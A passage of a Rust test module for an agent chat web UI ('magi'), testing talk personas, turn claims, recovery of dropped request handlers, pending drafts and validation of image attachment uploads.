10513        let cfg = config_for(&repo).await.unwrap();
10514        for arrived in [false, true] {
10515            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10516            let observed = ui.queued_generation(&id);
10517            let talk = ui.talks.get(&id).unwrap();
10518            if arrived {
10519                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10520            }
10521            let mut settling = std::pin::pin!(settle_settings_turn(
10522                talk,
10523                ui.talks.clone(),
10524                cfg.clone(),
10525                id.clone(),
10526                turn,
10527                observed
10528            ));
10529            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10530            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10531            assert_eq!(first.is_pending(), arrived);
10532            if arrived {
10533                assert!(!settling.await);
10534            }
10535            assert!(!ui.is_thinking(&id));
10536        }
10537    }
10538
10539    #[tokio::test]
10540    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10541        let tmp = TempDir::new().expect("tempdir");
10542        let repo = tmp.path().join("repo");
10543        std::fs::create_dir_all(&repo).expect("repo dir");
10544        std::fs::write(
10545            repo.join("magi.toml"),
10546            format!(
10547                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10548            ),
10549        )
10550        .expect("write magi.toml");
10551        let home = TempDir::new().expect("temp home");
10552        let talks = Talks::at(home.path().join("talks"));
10553        let ui = Arc::new(
10554            Ui::new(
10555                Queue::at(home.path().join("queue")),
10556                Questions::at(home.path().join("questions")),
10557                talks.clone(),
10558                home.path().join("runs"),
10559                home.path().to_path_buf(),
10560                repo.clone(),
10561            )
10562            .with_worktrees_root(home.path().join("wt")),
10563        );
10564        let cfg = config_for(&repo).await.expect("discover config");
10565        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10566        let id = talk.id.clone();
10567        let call = |persona: &str| {
10568            talk_persona(
10569                State(Arc::clone(&ui)),
10570                Path(id.clone()),
10571                Json(TalkPersona {
10572                    persona: persona.to_owned(),
10573                }),
10574            )
10575        };
10576
10577        let unknown = call("nobody").await.expect_err("unknown persona");
10578        assert_eq!(
10579            unknown.status,
10580            StatusCode::BAD_REQUEST,
10581            "{}",
10582            unknown.message
10583        );
10584
10585        {
10586            // Nothing refused so far took a claim, so the guard is free to take
10587            // and holding it is what makes the talk busy.
10588            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10589            let busy = call("rei").await.expect_err("busy talk");
10590            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10591            assert!(
10592                busy.message.contains("a talk turn is running"),
10593                "{}",
10594                busy.message
10595            );
10596            drop(guard);
10597        }
10598        assert_eq!(talks.get(&id).expect("reload").persona, "");
10599
10600        let Json(view) = call("gendo").await.expect("switch to a configured persona");
10601        assert_eq!(view.talk.persona, "gendo");
10602        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10603        assert!(!ui.is_thinking(&id), "idle response must release the claim");
10604        // No intervening I/O or sleep may be needed before another change.
10605        for chosen in ["default", "gendo", "rei", "gendo"] {
10606            let Json(view) = call(chosen).await.expect("immediate consecutive change");
10607            assert!(!view.thinking);
10608            assert!(!ui.is_thinking(&id));
10609        }
10610
10611        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10612            .await
10613            .expect("detail");
10614        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10615        assert_eq!(ids.first(), Some(&"default"));
10616        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10617
10618        let Json(view) = call("default").await.expect("back to default");
10619        assert_eq!(view.talk.persona, "");
10620
10621        let mut closed = talks.get(&id).expect("reload");
10622        talk::close(&mut closed, &talks).expect("close");
10623        let refused = call("rei").await.expect_err("closed talk");
10624        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10625        assert!(
10626            refused.message.contains("takes no more turns"),
10627            "{}",
10628            refused.message
10629        );
10630    }
10631
10632    #[tokio::test]
10633    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10634        let f = Fixture::start().await;
10635        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10636        let queue = f.queue();
10637        let mut mine = Task::new(
10638            "rename the loader".to_owned(),
10639            "rename the loader".to_owned(),
10640            PathBuf::from("/repo/magi"),
10641            Source::Agent {
10642                run: talk_id.clone(),
10643                node: "chat".to_owned(),
10644            },
10645        );
10646        queue.put(&mut mine).expect("file the task");
10647        let mut theirs = Task::new(
10648            "unrelated".to_owned(),
10649            "unrelated".to_owned(),
10650            PathBuf::from("/repo/magi"),
10651            Source::Human,
10652        );
10653        queue.put(&mut theirs).expect("file the task");
10654
10655        let res = f.get(&format!("/api/talks/{talk_id}")).await;
10656        assert_eq!(res.status, 200, "{}", res.body);
10657        let body = res.json();
10658        assert_eq!(
10659            body["status"], "open",
10660            "filing a task does not close a talk"
10661        );
10662        let tasks = body["tasks"].as_array().expect("tasks array");
10663        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
10664        assert_eq!(tasks[0]["id"], mine.id);
10665    }
10666
10667    #[tokio::test]
10668    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
10669        let (_tmp, _repo, f) = talk_fixture().await;
10670        let id = f.post("/api/talks", None).await.json()["id"]
10671            .as_str()
10672            .expect("id")
10673            .to_owned();
10674
10675        let res = f
10676            .post(
10677                &format!("/api/talks/{id}/say"),
10678                Some(r#"{"text":"what does the queue module do?"}"#),
10679            )
10680            .await;
10681        assert_eq!(res.status, 202, "{}", res.body);
10682        let queued = res.json();
10683        let turns = queued["turns"].as_array().expect("turns array");
10684        assert_eq!(
10685            turns.len(),
10686            1,
10687            "the answer reflects only what is on disk the instant it is sent, \
10688             before the agent's turn - which can run for the whole of \
10689             `[graph] timeout_talk` - has a chance to land: {queued}"
10690        );
10691        assert_eq!(turns[0]["who"], "operator");
10692        assert_eq!(turns[0]["body"], "what does the queue module do?");
10693        assert_eq!(
10694            queued["thinking"], true,
10695            "the accepted response exposes the background turn claim: {queued}"
10696        );
10697
10698        let mut turns_after = 1;
10699        for _ in 0..SETTLE_STEPS {
10700            let detail = f.get(&format!("/api/talks/{id}")).await.json();
10701            turns_after = detail["turns"].as_array().expect("turns array").len();
10702            if turns_after == 2 {
10703                break;
10704            }
10705            tokio::time::sleep(Duration::from_millis(10)).await;
10706        }
10707        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
10708    }
10709
10710    /// A phone that reloads mid-request drops `talk_say`'s whole handler
10711    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
10712    /// guards against: `talk::record` used to return, and only *then* did the
10713    /// handler make a second, separate disk round trip before spawning the
10714    /// agent's reply task. A future dropped in that gap left a message
10715    /// recorded on disk with no reply task ever started and no way back short
10716    /// of a fresh message - and the gap was not even the whole story: *any*
10717    /// `.await` in this handler, including the very first one, is a point
10718    /// where a drop can land after the awaited work already finished but
10719    /// before this handler's own code resumes to act on it. `record` now
10720    /// runs inside the task `tokio::spawn` hands to the runtime before this
10721    /// handler ever awaits anything of its own again, so there is nothing
10722    /// left in *this* handler's future for a disconnect to interrupt between
10723    /// the message landing on disk and the reply task starting.
10724    ///
10725    /// A real socket disconnect cannot be relied on to land in the old gap
10726    /// from a test - over loopback, `talk_say` typically finishes before the
10727    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
10728    /// same failure mode directly: it drops the task's future at whatever
10729    /// point it has reached, exactly what axum does to the handler future,
10730    /// without needing to win a real network race. Sweeping the delay before
10731    /// aborting samples a range of points the task's execution can be at,
10732    /// including where the old code sat waiting on its second disk round
10733    /// trip - confirmed by reverting this fix locally and watching this same
10734    /// sweep catch a talk stuck with the operator's turn recorded and no
10735    /// reply ever following.
10736    #[tokio::test]
10737    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
10738        let tmp = TempDir::new().expect("tempdir");
10739        let repo = tmp.path().join("repo");
10740        std::fs::create_dir_all(&repo).expect("repo dir");
10741        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10742        let home = TempDir::new().expect("temp home");
10743        let talks = Talks::at(home.path().join("talks"));
10744        let ui = Arc::new(
10745            Ui::new(
10746                Queue::at(home.path().join("queue")),
10747                Questions::at(home.path().join("questions")),
10748                talks.clone(),
10749                home.path().join("runs"),
10750                home.path().to_path_buf(),
10751                repo.clone(),
10752            )
10753            .with_worktrees_root(home.path().join("wt")),
10754        );
10755        let cfg = config_for(&repo).await.expect("discover config");
10756
10757        for delay in 0..40u32 {
10758            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10759            let id = talk.id.clone();
10760
10761            let handler = tokio::spawn(talk_say(
10762                State(Arc::clone(&ui)),
10763                Path(id.clone()),
10764                Ok(Json(NewTalkTurn {
10765                    text: "what does the queue module do?".to_owned(),
10766                    attachments: Vec::new(),
10767                })),
10768            ));
10769            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
10770            handler.abort();
10771            // Wait out the abort so the next iteration's talk does not race
10772            // this one's still-unwinding turn guard.
10773            let _ = handler.await;
10774
10775            let mut turns = 0;
10776            for _ in 0..SETTLE_STEPS {
10777                if let Ok(fresh) = talks.get(&id) {
10778                    turns = fresh.turns.len();
10779                    if turns != 1 {
10780                        break;
10781                    }
10782                }
10783                tokio::time::sleep(Duration::from_millis(10)).await;
10784            }
10785            assert_ne!(
10786                turns, 1,
10787                "delay {delay}: talk {id} recorded the operator's turn but \
10788                 the agent never answered - the reply task was never \
10789                 started after the handler future was dropped"
10790            );
10791        }
10792    }
10793
10794    /// The same drop, landing on `talk_say`'s other durable write.
10795    ///
10796    /// When a turn is already running, the busy branch persists the
10797    /// operator's text as a queued draft and then reclaims the turn slot if
10798    /// the holder gave it up in the meantime - and whoever reclaims owes that
10799    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
10800    /// which finishes whether or not the future awaiting it is still there,
10801    /// so a handler dropped at that `.await` used to leave the draft written
10802    /// to disk with the reclaimed guard dropped unread and no drainer ever
10803    /// started: the message sat queued until some unrelated later `say`
10804    /// happened to pick it up.
10805    ///
10806    /// This used to drive the handler future by hand, polling it a fixed
10807    /// number of times to park it at the `.await` where it asks for the turn
10808    /// and finds it busy, before the reclaim's slot-free case could be set up
10809    /// underneath it. That assumed a fixed number of polls lands at a fixed
10810    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
10811    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
10812    /// poll, so any number of this handler's several `blocking` awaits can
10813    /// collapse into one poll under load, landing the drive somewhere other
10814    /// than intended - including, occasionally, straight past the handler's
10815    /// own completion, which made polling it again panic with "async fn
10816    /// resumed after completion". No poll count fixes that; the handler's
10817    /// progress simply is not something a caller outside it can observe by
10818    /// counting.
10819    ///
10820    /// [`BusyQueueGate`] replaces the poll count with a real stop point
10821    /// inside the write itself, so the interleaving under test is pinned by
10822    /// an event instead of a guess: the gate fires only once the handler has
10823    /// actually decided `Busy` and is about to persist the draft, and it
10824    /// blocks that write until the test lets it through. Between those two
10825    /// moments the test drains the turn the handler found busy - through
10826    /// `drain_loop`, the protocol's other half - and then aborts the handler
10827    /// task outright, the same way axum drops a disconnected request's
10828    /// future. The write, and the reclaim it may do, run to completion
10829    /// regardless: they live in the `tokio::spawn` task the busy branch hands
10830    /// to the runtime before ever touching the gate, wholly independent of
10831    /// whether the handler that started it is still around - which is what
10832    /// this test is actually checking. A drainer other than that reclaim
10833    /// cannot exist here: the test's own `drain_loop` call happens before the
10834    /// gate opens, so it runs while the queue is still empty and hands the
10835    /// turn straight back rather than draining anything, closing off the
10836    /// possibility of the final assertion passing without the reclaim ever
10837    /// having done its job.
10838    #[tokio::test]
10839    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
10840        let tmp = TempDir::new().expect("tempdir");
10841        let repo = tmp.path().join("repo");
10842        std::fs::create_dir_all(&repo).expect("repo dir");
10843        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10844        let home = TempDir::new().expect("temp home");
10845        let talks = Talks::at(home.path().join("talks"));
10846        let ui = Arc::new(
10847            Ui::new(
10848                Queue::at(home.path().join("queue")),
10849                Questions::at(home.path().join("questions")),
10850                talks.clone(),
10851                home.path().join("runs"),
10852                home.path().to_path_buf(),
10853                repo.clone(),
10854            )
10855            .with_worktrees_root(home.path().join("wt")),
10856        );
10857        let cfg = config_for(&repo).await.expect("discover config");
10858
10859        for attempt in 0..3u32 {
10860            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
10861            let id = talk.id.clone();
10862            // A turn is already running, which is what sends `talk_say` down
10863            // the busy branch.
10864            let turn_guard = ui
10865                .begin_talk_turn(&id)
10866                .expect("claim the turn")
10867                .expect("a fresh talk owes nobody a turn");
10868
10869            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
10870            let (release_tx, release_rx) = std::sync::mpsc::channel();
10871            ui.set_busy_queue_gate(BusyQueueGate {
10872                reached: reached_tx,
10873                release: release_rx,
10874            });
10875
10876            let handler = tokio::spawn(talk_say(
10877                State(Arc::clone(&ui)),
10878                Path(id.clone()),
10879                Ok(Json(NewTalkTurn {
10880                    text: "what does the queue module do?".to_owned(),
10881                    attachments: Vec::new(),
10882                })),
10883            ));
10884
10885            // Wait for the busy branch to actually reach the gate, rather
10886            // than for any fixed number of polls of anything - a bounded
10887            // wait rather than a bare `.await` so a regression that never
10888            // reaches the gate fails the test instead of hanging it.
10889            tokio::time::timeout(Duration::from_secs(5), reached_rx)
10890                .await
10891                .unwrap_or_else(|_| {
10892                    panic!(
10893                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
10894                    )
10895                })
10896                .expect("the busy branch dropped the gate without using it");
10897
10898            // The turn that was running now finishes and gives the slot up
10899            // the way a real one does - through `drain_loop`, which finds
10900            // nothing queued yet (the write is still held at the gate) and
10901            // releases. The handler, parked inside `spawn_blocking` on the
10902            // other side of the gate, still believes the talk is busy -
10903            // exactly the interleaving the reclaim exists for.
10904            let running = talks.get(&id).expect("reload talk");
10905            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
10906
10907            // Drop the handler future now, the way a reloading phone drops
10908            // it: suspended waiting on the busy branch's answer, having
10909            // itself made no more progress since it handed the write off.
10910            handler.abort();
10911            let _ = handler.await;
10912
10913            // Only now let the gated write proceed. It persists the draft
10914            // and reclaims the now-free slot from inside the task the busy
10915            // branch already spawned - unaffected by the handler's abort
10916            // above, since that task was independent of the handler's own
10917            // future from the moment it was spawned.
10918            let _ = release_tx.send(());
10919
10920            // A settled talk: the draft drained into an operator turn and
10921            // answered.
10922            let mut fresh = talks.get(&id).expect("reload talk");
10923            for _ in 0..SETTLE_STEPS {
10924                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
10925                    break;
10926                }
10927                tokio::time::sleep(Duration::from_millis(10)).await;
10928                fresh = talks.get(&id).expect("reload talk");
10929            }
10930            assert!(
10931                fresh.pending.is_empty() && fresh.turns.len() == 2,
10932                "attempt {attempt}: talk {id} left the operator's text queued \
10933                 with no drainer - the reclaimed turn was dropped along with \
10934                 the handler future (pending {:?}, {} turns)",
10935                fresh.pending,
10936                fresh.turns.len()
10937            );
10938        }
10939    }
10940
10941    #[tokio::test]
10942    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
10943        let (_tmp, _repo, f) = talk_fixture().await;
10944        let id = f.post("/api/talks", None).await.json()["id"]
10945            .as_str()
10946            .expect("id")
10947            .to_owned();
10948        let store = f.talks();
10949        let mut recovered = store.get(&id).expect("opened talk");
10950        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10951            .expect("persist pending draft without a live turn");
10952
10953        let edited = f
10954            .post(
10955                &format!("/api/talks/{id}/pending/edit"),
10956                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
10957            )
10958            .await;
10959        assert_eq!(edited.status, 200, "{}", edited.body);
10960        assert!(edited.json()["thinking"].as_bool().unwrap());
10961
10962        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
10963        for _ in 0..SETTLE_STEPS {
10964            if detail["turns"].as_array().expect("turns").len() == 2 {
10965                break;
10966            }
10967            tokio::time::sleep(Duration::from_millis(10)).await;
10968            detail = f.get(&format!("/api/talks/{id}")).await.json();
10969        }
10970        let turns = detail["turns"].as_array().expect("turns");
10971        assert_eq!(
10972            turns.len(),
10973            2,
10974            "the recovered draft must run once: {detail}"
10975        );
10976        assert_eq!(turns[0]["body"], "corrected");
10977        assert_eq!(detail["pending"], "");
10978    }
10979
10980    #[tokio::test]
10981    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
10982        let tmp = TempDir::new().expect("tempdir");
10983        let repo = tmp.path().join("repo");
10984        std::fs::create_dir_all(&repo).expect("repo dir");
10985        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
10986        let f = Fixture::with_repo(repo).await;
10987        let id = f.post("/api/talks", None).await.json()["id"]
10988            .as_str()
10989            .expect("id")
10990            .to_owned();
10991        let store = f.talks();
10992        let mut recovered = store.get(&id).expect("opened talk");
10993        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
10994            .expect("persist pending draft without a live turn");
10995
10996        let refused = f
10997            .post(
10998                &format!("/api/talks/{id}/say"),
10999                Some(r#"{"text":"new message"}"#),
11000            )
11001            .await;
11002        assert_eq!(refused.status, 409, "{}", refused.body);
11003        assert!(refused.body.contains("resume"), "{}", refused.body);
11004        let saved = store.get(&id).expect("draft remains after refusal");
11005        assert!(saved.turns.is_empty());
11006        assert_eq!(saved.pending, "saved before restart");
11007
11008        let say_path = format!("/api/talks/{id}/say");
11009        let (first, second) = tokio::join!(
11010            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11011            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11012        );
11013        assert_eq!(first.status, 409, "{}", first.body);
11014        assert_eq!(second.status, 409, "{}", second.body);
11015        let saved = store
11016            .get(&id)
11017            .expect("draft remains after concurrent refusals");
11018        assert!(saved.turns.is_empty());
11019        assert_eq!(saved.pending, "saved before restart");
11020
11021        let resumed = f
11022            .post(&format!("/api/talks/{id}/pending/resume"), None)
11023            .await;
11024        assert_eq!(resumed.status, 202, "{}", resumed.body);
11025        let duplicate = f
11026            .post(&format!("/api/talks/{id}/pending/resume"), None)
11027            .await;
11028        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11029
11030        for _ in 0..SETTLE_STEPS {
11031            if store.get(&id).expect("talk").turns.len() == 2 {
11032                break;
11033            }
11034            tokio::time::sleep(Duration::from_millis(10)).await;
11035        }
11036        let finished = store.get(&id).expect("finished talk");
11037        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11038        assert_eq!(finished.turns[0].body, "saved before restart");
11039        assert!(finished.pending.is_empty());
11040    }
11041
11042    #[tokio::test]
11043    async fn an_image_only_recovered_draft_resumes_without_text() {
11044        let (_tmp, _repo, f) = talk_fixture().await;
11045        let id = f.post("/api/talks", None).await.json()["id"]
11046            .as_str()
11047            .expect("id")
11048            .to_owned();
11049        let uploaded = f
11050            .post_bytes(
11051                &format!("/api/talks/{id}/attachments"),
11052                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11053                PNG_BYTES,
11054            )
11055            .await;
11056        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11057        let attachment = f
11058            .talks()
11059            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11060            .expect("attachment metadata")
11061            .expect("stored attachment");
11062        let store = f.talks();
11063        let mut recovered = store.get(&id).expect("opened talk");
11064        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11065
11066        let resumed = f
11067            .post(&format!("/api/talks/{id}/pending/resume"), None)
11068            .await;
11069        assert_eq!(resumed.status, 202, "{}", resumed.body);
11070        for _ in 0..SETTLE_STEPS {
11071            if store.get(&id).expect("talk").turns.len() == 2 {
11072                break;
11073            }
11074            tokio::time::sleep(Duration::from_millis(10)).await;
11075        }
11076        let finished = store.get(&id).expect("finished talk");
11077        assert_eq!(finished.turns.len(), 2, "{finished:?}");
11078        assert!(finished.turns[0].body.is_empty());
11079        assert_eq!(finished.turns[0].attachments.len(), 1);
11080        assert!(finished.pending_attachments.is_empty());
11081    }
11082
11083    #[tokio::test]
11084    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11085        let (_tmp, _repo, f) = talk_fixture().await;
11086        let id = f.post("/api/talks", None).await.json()["id"]
11087            .as_str()
11088            .expect("id")
11089            .to_owned();
11090        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11091        assert_eq!(closed.status, 200, "{}", closed.body);
11092        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11093            .expect("serialize closed talk");
11094        for (path, body) in [
11095            (format!("/api/talks/{id}/pending/resume"), None),
11096            (
11097                format!("/api/talks/{id}/pending/clear"),
11098                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11099            ),
11100            (
11101                format!("/api/talks/{id}/pending/edit"),
11102                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11103            ),
11104            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11105        ] {
11106            let response = f.post(&path, body).await;
11107            assert_eq!(response.status, 409, "{}", response.body);
11108        }
11109        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11110            .expect("serialize closed talk");
11111        assert_eq!(
11112            after_clear, before_clear,
11113            "clear must not rewrite a closed talk"
11114        );
11115    }
11116
11117    /// Keeps both claims observable long enough to exercise the distinction
11118    /// between one busy talk and a globally locked Chat surface.
11119    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11120
11121    #[tokio::test]
11122    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11123        let tmp = TempDir::new().expect("tempdir");
11124        let repo = tmp.path().join("repo");
11125        std::fs::create_dir_all(&repo).expect("repo dir");
11126        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11127        let f = Fixture::with_repo(repo).await;
11128        let id_a = f.post("/api/talks", None).await.json()["id"]
11129            .as_str()
11130            .unwrap()
11131            .to_owned();
11132        let id_b = f.post("/api/talks", None).await.json()["id"]
11133            .as_str()
11134            .unwrap()
11135            .to_owned();
11136
11137        let a = f
11138            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11139            .await;
11140        assert_eq!(a.status, 202, "{}", a.body);
11141        assert_eq!(a.json()["thinking"], true);
11142        let b = f
11143            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11144            .await;
11145        assert_eq!(b.status, 202, "{}", b.body);
11146        assert_eq!(b.json()["thinking"], true);
11147
11148        let listed = f.get("/api/talks").await.json();
11149        for id in [&id_a, &id_b] {
11150            let view = listed
11151                .as_array()
11152                .unwrap()
11153                .iter()
11154                .find(|talk| talk["id"] == *id)
11155                .unwrap();
11156            assert_eq!(view["thinking"], true, "{listed}");
11157        }
11158        let repeated = f
11159            .post(
11160                &format!("/api/talks/{id_a}/say"),
11161                Some(r#"{"text":"again"}"#),
11162            )
11163            .await;
11164        assert_eq!(repeated.status, 202, "{}", repeated.body);
11165        assert_eq!(repeated.json()["pending"], "again");
11166    }
11167
11168    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
11169    /// few more, since real uploads are never exactly eight bytes.
11170    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11171
11172    #[tokio::test]
11173    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11174        let f = Fixture::start().await;
11175        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11176
11177        let res = f
11178            .post_bytes(
11179                &format!("/api/talks/{id}/attachments"),
11180                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11181                PNG_BYTES,
11182            )
11183            .await;
11184        assert_eq!(res.status, 201, "{}", res.body);
11185        let body = res.json();
11186        assert_eq!(body["name"], "shot.png");
11187        assert_eq!(body["mime"], "image/png");
11188        assert_eq!(body["bytes"], PNG_BYTES.len());
11189        let att_id = body["id"].as_str().expect("id").to_owned();
11190        assert_eq!(
11191            att_id.len(),
11192            32,
11193            "the id must never be a client-suppliable path: {att_id}"
11194        );
11195
11196        let got = f
11197            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11198            .await;
11199        assert_eq!(got.status, 200, "{}", got.body);
11200        assert_eq!(got.header("content-type"), Some("image/png"));
11201        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11202        assert_eq!(got.bytes, PNG_BYTES);
11203    }
11204
11205    #[tokio::test]
11206    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11207        let f = Fixture::start().await;
11208        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11209
11210        // SVG can carry a `<script>`, so it is never on the whitelist even
11211        // though it is a real IANA image type.
11212        let svg = f
11213            .post_bytes(
11214                &format!("/api/talks/{id}/attachments"),
11215                &[("Content-Type", "image/svg+xml")],
11216                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11217            )
11218            .await;
11219        assert!(
11220            (400..500).contains(&svg.status),
11221            "svg must be refused: {} {}",
11222            svg.status,
11223            svg.body
11224        );
11225        assert!(svg.body.contains("SVG"), "{}", svg.body);
11226
11227        let text = f
11228            .post_bytes(
11229                &format!("/api/talks/{id}/attachments"),
11230                &[("Content-Type", "text/plain")],
11231                b"just some text",
11232            )
11233            .await;
11234        assert!(
11235            (400..500).contains(&text.status),
11236            "an unlisted type must be refused: {} {}",
11237            text.status,
11238            text.body
11239        );
11240
11241        // The declared type is a real png, but the size check runs before
11242        // the bytes are even looked at.
11243        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11244        let big = f
11245            .post_bytes(
11246                &format!("/api/talks/{id}/attachments"),
11247                &[("Content-Type", "image/png")],
11248                &oversized,
11249            )
11250            .await;
11251        assert_eq!(
11252            big.status,
11253            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11254            "{}",
11255            big.body
11256        );
11257    }
11258
11259    #[tokio::test]
11260    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11261        let f = Fixture::start().await;
11262        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11263
11264        // A whitelisted `Content-Type`, but bytes that are not actually a
11265        // png - the declared header alone is never trusted.
11266        let res = f
11267            .post_bytes(
11268                &format!("/api/talks/{id}/attachments"),
11269                &[("Content-Type", "image/png")],
11270                b"<html>not a picture</html>",
11271            )
11272            .await;
11273        assert!((400..500).contains(&res.status), "{}", res.body);
11274    }
11275
11276    #[tokio::test]
11277    async fn an_unknown_attachment_id_is_a_404() {
11278        let f = Fixture::start().await;
11279        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11280
11281        let res = f
11282            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11283            .await;
11284        assert_eq!(res.status, 404, "{}", res.body);
11285    }
11286
11287    #[tokio::test]
11288    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11289        let f = Fixture::start().await;
11290        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11291
11292        let uploaded = f
11293            .post_bytes(
11294                &format!("/api/talks/{id}/attachments"),
11295                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11296                PNG_BYTES,
11297            )
11298            .await;
11299        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11300        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11301
11302        let res = f
11303            .post(
11304                &format!("/api/talks/{id}/say"),
11305                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11306            )
11307            .await;
11308        assert_eq!(res.status, 202, "{}", res.body);
11309        let queued = res.json();
11310        let turns = queued["turns"].as_array().expect("turns array");
11311        assert_eq!(
11312            turns.len(),
11313            1,
11314            "an empty body with an attachment is still a turn: {queued}"
11315        );
11316        assert_eq!(turns[0]["who"], "operator");
11317        assert_eq!(turns[0]["body"], "");
11318        let atts = turns[0]["attachments"]
11319            .as_array()
11320            .expect("attachments array");
11321        assert_eq!(atts.len(), 1);
11322        assert_eq!(atts[0]["id"], att_id);
11323        assert_eq!(atts[0]["mime"], "image/png");
11324
11325        // Not only in the response: `record` flushes to disk before the
11326        // agent's own turn is even spawned.
11327        let on_disk = f.talks().get(&id).expect("get");
11328        assert_eq!(on_disk.turns[0].attachments.len(), 1);
11329        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11330    }
11331
11332    #[tokio::test]
11333    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11334        let f = Fixture::start().await;
11335        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11336
11337        let res = f
11338            .post(
11339                &format!("/api/talks/{id}/say"),
11340                Some(&format!(
11341                    r#"{{"text":"hi","attachments":["{}"]}}"#,
11342                    "a".repeat(32)
11343                )),
11344            )
11345            .await;
11346        assert!((400..500).contains(&res.status), "{}", res.body);
11347        assert!(res.body.contains("unknown attachment"), "{}", res.body);
11348
11349        let on_disk = f.talks().get(&id).expect("get");
11350        assert!(
11351            on_disk.turns.is_empty(),
11352            "a rejected attachment id must not partially record the turn: {:?}",
11353            on_disk.turns
11354        );
11355    }
11356
11357    #[tokio::test]
11358    async fn talk_close_makes_the_talk_refuse_further_turns() {
